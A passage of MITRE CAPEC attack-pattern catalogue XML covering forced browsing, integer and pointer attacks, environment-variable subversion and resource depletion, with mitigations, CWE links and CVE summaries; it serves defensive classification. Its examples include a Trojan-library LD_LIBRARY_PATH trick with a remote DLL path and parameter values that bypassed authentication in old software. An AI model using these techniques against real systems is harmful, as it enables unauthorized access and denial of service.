				<Solution_or_Mitigation>
					<Text>3. Suppressing error messages: using error 403 “Forbidden” message exactly
						like error 404 “Not Found” message. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>424<!--Improper Protection of Alternate Path-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>425<!--Direct Request ('Forced Browsing')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>288<!--Authentication Bypass Using an Alternate Path or Channel-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>276<!--Incorrect Default Permissions-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>721<!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Resource Location Attacks-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/154.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>122<!--Exploitation of Authorization-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>349<!--WASC Threat Classification 2.0 - WASC-16 - Directory Indexing-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/349.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>All resources must be constrained to be inaccessible by default followed
						by selectively allowing access to resources as dictated by application and
						business logic</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>In addition to a central controller, every resource must also restrict,
						wherever possible, incoming accesses as dictated by the relevant ACL.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Design Configuration Subsystems Correctly and Distribute Safe Default
						Configurations</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>WASC Threat Classification 2.0, Directory
						Indexing</Reference_Title>
					<Reference_Link>http://projects.webappsec.org/Directory-Indexing</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Execution Flow, Attack Prerequisites, Examples and
							Solutions</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Translated Cigital Content to XML and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="128" Name="Integer Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker takes advantage of the structure of integer variables to cause
						these variables to assume values that are not expected by an application.
						For example, adding one to the largest positive integer in a signed integer
						variable results in a negative number. Negative numbers may be illegal in an
						application and the application may prevent an attacker from providing them
						directly, but the application may not consider that adding two positive
						numbers can create a negative number do to the structure of integer storage
						formats.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must have an integer variable for which only some
						of the possible integer values are expected by the application and where
						there are no checks on the value of the variable before use.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must be able to manipulate the targeted integer variable such
						that normal operations result in non-standard values due to the storage
						structure of integers.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>682<!--Incorrect Calculation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>336<!--WASC Threat Classification 2.0 - WASC-03 - Integer Overflows--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="129" Name="Pointer Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack involves an attacker manipulating a pointer within a target
						application resulting in the application accessing an unintended memory
						location. This can result in the crashing of the application or, for certain
						pointer values, access to data that would not normally be possible or the
						execution of arbitrary code. Since pointers are simply integer variables,
						Integer Attacks may often be used in Pointer Attacks.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must have a pointer variable that the attacker can
						influence to hold an arbitrary value.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most forms of this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>682<!--Incorrect Calculation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="13" Name="Subverting Environment Variable Values"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker directly or indirectly modifies environment variables used by
						or controlling the target software. The attacker's goal is to cause the
						target software to deviate from its expected operation in a manner that
						benefits the attacker.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker probes the application for
												information. Which version of the application is
												running? Are there known environment variables?
												etc.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker gains control of an environment
												variable and ties to find out what process(es) the
												environment variable controls.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker modifies the environment variable to
												abuse the normal flow of processes or to gain access
												to privileged ressources.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An environment variable is accessible to the user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An environment variable used by the application can be tainted with user
						supplied data.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Input data used in an environment variable is not validated
						properly.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The variables encapsulation is not done properly. For instance setting a
						variable as public in a class makes it visible and an attacker may attemp to
						manipulate that variable.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Environment variables</Text>
						<Text>Changing the LD_LIBRARY_PATH environment variable in TELNET will cause
							TELNET to use an alternate (possibly Trojan) version of a function
							library. The Trojan library must be accessible using the target file
							system and should include Trojan code that will allow the user to log in
							with a bad password. This requires that the attacker upload the Trojan
							library to a specific location on the target.</Text>
						<Text>As an alternative to uploading a Trojan file, some file systems
							support file paths that include remote addresses, such as
							\\172.16.2.100\shared_files\trojan_dll.dll.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>Path Manipulation (CVE-1999-0073)</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In a web based scenario, the client controls the data that it
							submitted to the server. So anybody can try to send malicious data and
							try to bypass the authentication mechanism.</Text>
						<Text>Medium/High: Some more advanced attacks may require knowledge about
							protocols and probing technique which help controling a variable. The
							malicious user may try to understand the authentication mechanism in
							order to defeat it.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can intentionally modify the client side parameter and
							monitor how the server behaves in response to that modification. For
							instance an attacker will look at the cookie data, the URL parameters,
							the hidden variables in forms, variables used in system calls,
							etc.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>If the client uses a program in binary format to connect to the
							server, disassembler can be used to identify parameter within the binary
							code, and then the attacker would try to simulate the client application
							and change some of the parameters sent to the server. For instance the
							attacker may find that a secret key or a path is hard coded in the
							binary client application.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Environment variables are frequently stored in cleartext configuration
							files. If the attacker can modify those configuration files, he can
							control the environment variables. Even a read access can potentially be
							dangerous since this may give sensitive information to perform this type
							of attack. Indeed knowing which environment variables the application
							uses is a prerequisite to this type of attack.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>The attacker may try to obfuscate its attempts to subvert the target
							process (such as authentication) by using valid values for the variable
							she controls. By using valid values the user tries to understand the
							authentication mechanism. This would be in preparation to a more serious
							attack.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Protect environment variables against unauthorized read and write
						access.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Protect the configuration files which contain environment variables
						against illegitimate read and write access.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Apply the least privilege principles. If a process has no legitimate
						reason to read an environment variable do not give that privilege.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Unexpected State</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The client controlled parameter</Text>
			</Injection_Vector>
			<Payload>
				<Text>The new value of the client controlled parameter.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The activation zone is the server side function where the client controlled
					parameter is consumed.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Consuming an attacker contolled parameter can defeat the normal process of
						the application.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>353<!--Missing Support for Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>15<!--External Control of System or Configuration Setting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-4244</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>SQL-Ledger 2.4.4 through 2.6.17 authenticates users by verifying that
							the value of the sql-ledger-[username] cookie matches the value of the
							sessionid parameter, which allows remote attackers to gain access as any
							logged-in user by setting the cookie and the parameter to the same
							value.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-2734</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>enter.asp in Mini-Nuke 2.3 and earlier makes it easier for remote
							attackers to conduct password guessing attacks by setting the guvenlik
							parameter to the same value as the hidden gguvenlik parameter, which
							bypasses a verification step because the guvenlik parameter is assumed
							to be immutable by the attacker.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-2527</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Admin/admin.php in phpBazar 2.1.0 and earlier allows remote attackers
							to bypass the authentication process and gain unauthorized access to the
							administrative section by setting the action parameter to edit_member
							and the value parameter to 1.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-1505</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>base_maintenance.php in Basic Analysis and Security Engine (BASE)
							before 1.2.4 (melissa), when running in standalone mode, allows remote
							attackers to bypass authentication, possibly by setting the standalone
							parameter to "yes".</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>77<!--Manipulating User-Controlled Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>14<!--Client-side Injection-induced Buffer Overflow--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>10<!--Buffer Overflow via Environment Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>264<!--Environment variable manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Always perform wise data validation. Do not accept tainted data without
						validation. Do not simply base authentication on the client controlled
						parameter.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Avoid relying on client side validation only.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="130" Name="Resource Depletion through Allocation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker causes the target to allocate excessive resources to servicing
						the attacker's request, thereby reducing the resources available for
						legitimate services and degrading or denying services. Usually, this attack
						focuses on memory allocation, but any finite resource on the target could be
						the attacked, including bandwidth, processing cycles, or other resources.
						This attack does not attempt to force this allocation through a large number
						of requests (that would be Resource Depletion through Flooding) but instead
						uses one or a small number of requests that are carefully formatted to force
						the target to allocate excessive resources to service this request(s). Often
						this attack takes advantage of a bug in the target to cause the target to
						allocate resources vastly beyond what would be needed for a normal request.
						For example, using an Integer Attack, the attacker could cause a variable
						that controls allocation for a request to hold an excessively large value.
						Excessive allocation of resources can render a service degraded or
						unavailable to legitimate users and can even lead to crashing of the
						target.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must accept service requests from the attacker and the attacker
						must be able to control the resource allocation associated with this request
						to be in excess of the normal allocation. The latter is usually accomplished
						through the presence of a bug on the target that allows the attacker to
						manipulate variables used in the allocation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for this attack beyond the ability of the
					attacker to have the target service requests.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>404<!--Improper Resource Shutdown or Release--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="131" Name="Resource Depletion through Leak"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker utilizes a resource leak on the target to deplete the quantity
						of the resource available to service legitimate requests. Resource leaks
						most often come in the form of memory leaks where memory is allocated but
						never released after it has served its purpose, however, theoretically, any
						other resource that can be reserved can be targeted if the target fails to
						release the reservation when the reserved resource block is no longer
						needed. In this attack, the attacker determines what activity results in
						leaked resources and then triggers that activity on the target. Since some
						leaks may be small, this may require a large number of requests by the
						attacker. However, this attack differs from a flooding attack in that the
						rate of requests is generally not significant. This is because the lost
						resources due to the leak accumulate until the target is reset, usually by
						restarting it. Thus, a resource-poor attacker who would be unable to flood
						the target can still utilize this attack.</Text>
					<Text>Resource depletion through leak differs from resource depletion through
						allocation in that, in the former, the attacker may not be able to control
						the size of each leaked allocation, but instead allows the leak to
						accumulate until it is large enough to affect the target's performance. When
						depleting resources through allocation, the allocated resource may
						eventually be released by the target so the attack relies on making sure
						that the allocation size itself is prohibitive of normal operations by the
						target.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
